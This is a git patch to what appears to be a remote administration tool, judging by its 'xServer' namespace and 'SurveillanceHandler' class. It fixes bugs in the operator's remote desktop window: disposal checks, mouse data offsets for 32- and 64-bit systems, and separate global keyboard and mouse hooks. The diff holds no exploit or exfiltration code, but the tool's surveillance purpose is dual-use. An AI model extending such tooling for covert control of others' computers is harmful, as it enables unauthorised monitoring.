From a30954d60000bdad494aca3c2a46af6703c9ea46 Mon Sep 17 00:00:00 2001 From: d3agle Date: Thu, 17 Sep 2015 01:44:20 -0500 Subject: [PATCH] RDP bugfixes/changes --- Server/Controls/RapidPictureBox.cs | 2 - Server/Core/Commands/SurveillanceHandler.cs | 5 +- .../MouseKeyHook/WinApi/AppMouseStruct.cs | 10 +-- Server/Forms/FrmRemoteDesktop.Designer.cs | 2 +- Server/Forms/FrmRemoteDesktop.cs | 61 ++++++++++--------- 5 files changed, 39 insertions(+), 41 deletions(-) diff --git a/Server/Controls/RapidPictureBox.cs b/Server/Controls/RapidPictureBox.cs index e2985f57..a393116d 100644 --- a/Server/Controls/RapidPictureBox.cs +++ b/Server/Controls/RapidPictureBox.cs @@ -92,8 +92,6 @@ namespace xServer.Controls /// public void Start() { - _frameCounter = new FrameCounter(); - _sWatch = Stopwatch.StartNew(); Running = true; diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index 8a3cb768..cbf82a02 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -41,7 +41,10 @@ namespace xServer.Core.Commands } public static void HandleGetDesktopResponse(Client client, GetDesktopResponse packet) { - if (client.Value == null || client.Value.FrmRdp == null) + if (client.Value == null + || client.Value.FrmRdp == null + || client.Value.FrmRdp.IsDisposed + || client.Value.FrmRdp.Disposing) return; if (packet.Image == null) diff --git a/Server/Core/MouseKeyHook/WinApi/AppMouseStruct.cs b/Server/Core/MouseKeyHook/WinApi/AppMouseStruct.cs index 5a6b4d42..cfa85543 100644 --- a/Server/Core/MouseKeyHook/WinApi/AppMouseStruct.cs +++ b/Server/Core/MouseKeyHook/WinApi/AppMouseStruct.cs @@ -44,12 +44,8 @@ namespace xServer.Core.MouseKeyHook.WinApi /// /// /// -#if IS_X64 - [FieldOffset(0x22)] -#else - [FieldOffset(0x16)] -#endif - public Int16 MouseData; + [FieldOffset(0x16)] public Int16 MouseData_x86; + [FieldOffset(0x22)] public Int16 MouseData_x64; /// /// Converts the current into a . @@ -62,7 +58,7 @@ namespace xServer.Core.MouseKeyHook.WinApi { MouseStruct tmp = new MouseStruct(); tmp.Point = Point; - tmp.MouseData = MouseData; + tmp.MouseData = (IntPtr.Size == 4) ? MouseData_x86 : MouseData_x64; tmp.Timestamp = Environment.TickCount; return tmp; } diff --git a/Server/Forms/FrmRemoteDesktop.Designer.cs b/Server/Forms/FrmRemoteDesktop.Designer.cs index 6eeed7f3..d95d536f 100644 --- a/Server/Forms/FrmRemoteDesktop.Designer.cs +++ b/Server/Forms/FrmRemoteDesktop.Designer.cs @@ -230,9 +230,9 @@ private System.Windows.Forms.Panel panelTop; private System.Windows.Forms.Button btnHide; private System.Windows.Forms.Button btnShow; - private xServer.Controls.RapidPictureBox picDesktop; private System.Windows.Forms.ComboBox cbMonitors; private System.Windows.Forms.Button btnKeyboard; private System.Windows.Forms.ToolTip toolTipButtons; + private Controls.RapidPictureBox picDesktop; } } \ No newline at end of file diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index 579f4c6b..b68b68c3 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -8,16 +8,17 @@ using xServer.Core.Utilities; using xServer.Core.MouseKeyHook; using xServer.Enums; + namespace xServer.Forms { - //TODO: Fix Alt + Tab public partial class FrmRemoteDesktop : Form { public bool IsStarted { get; private set; } private readonly Client _connectClient; private bool _enableMouseInput; private bool _enableKeyboardInput; - private IKeyboardMouseEvents _mEvents; + private IKeyboardMouseEvents _keyboardHook; + private IKeyboardMouseEvents _mouseHook; private List _keysPressed; public FrmRemoteDesktop(Client c) @@ -25,11 +26,7 @@ namespace xServer.Forms _connectClient = c; _connectClient.Value.FrmRdp = this; - if (PlatformHelper.RunningOnMono) - SubscribeMonoEvents(); - else - SubscribeWindowsHookEvents(); - + SubscribeEvents(); InitializeComponent(); } @@ -41,7 +38,7 @@ namespace xServer.Forms btnHide.Left = (panelTop.Width / 2) - (btnHide.Width / 2); - btnShow.Location = new Point(377, 0); + btnShow.Location = new System.Drawing.Point(377, 0); btnShow.Left = (this.Width / 2) - (btnShow.Width / 2); _keysPressed = new List(); @@ -50,31 +47,36 @@ namespace xServer.Forms new Core.Packets.ServerPackets.GetMonitors().Execute(_connectClient); } - private void SubscribeWindowsHookEvents() + private void SubscribeEvents() { - _mEvents = Hook.GlobalEvents(); - _mEvents.MouseWheel += OnMouseWheelMove; - _mEvents.KeyDown += OnKeyDown; - _mEvents.KeyUp += OnKeyUp; + if (PlatformHelper.RunningOnMono) + { + this.KeyDown += OnKeyDown; + this.KeyUp += OnKeyUp; + } + else + { + _keyboardHook = Hook.GlobalEvents(); + _keyboardHook.KeyDown += OnKeyDown; + _keyboardHook.KeyUp += OnKeyUp; + + _mouseHook = Hook.AppEvents(); + _mouseHook.MouseWheel += OnMouseWheelMove; + } } - private void SubscribeMonoEvents() + private void UnsubscribeEvents() { - this.KeyDown += OnKeyDown; - this.KeyUp += OnKeyUp; - } + if (_keyboardHook != null && _mouseHook != null) + { + _keyboardHook.KeyDown -= OnKeyDown; + _keyboardHook.KeyUp -= OnKeyUp; + _mouseHook.MouseWheel -= OnMouseWheelMove; - private void UnsubscribeWindowsHookEvents() - { - if (_mEvents == null) return; - _mEvents.MouseWheel -= OnMouseWheelMove; - _mEvents.KeyDown -= OnKeyDown; - _mEvents.KeyUp -= OnKeyUp; - _mEvents.Dispose(); - } + _mouseHook.Dispose(); + _keyboardHook.Dispose(); + } - private void UnsubscribeMonoEvents() - { this.KeyDown -= OnKeyDown; this.KeyUp -= OnKeyUp; } @@ -95,7 +97,7 @@ namespace xServer.Forms } } - public void UpdateImage(Bitmap bmp, bool cloneBitmap = false) + public void UpdateImage(System.Drawing.Bitmap bmp, bool cloneBitmap = false) { picDesktop.UpdateImage(bmp, cloneBitmap); } @@ -138,8 +140,7 @@ namespace xServer.Forms if (_connectClient.Value != null) _connectClient.Value.FrmRdp = null; - UnsubscribeWindowsHookEvents(); - UnsubscribeMonoEvents(); + UnsubscribeEvents(); } private void FrmRemoteDesktop_Resize(object sender, EventArgs e)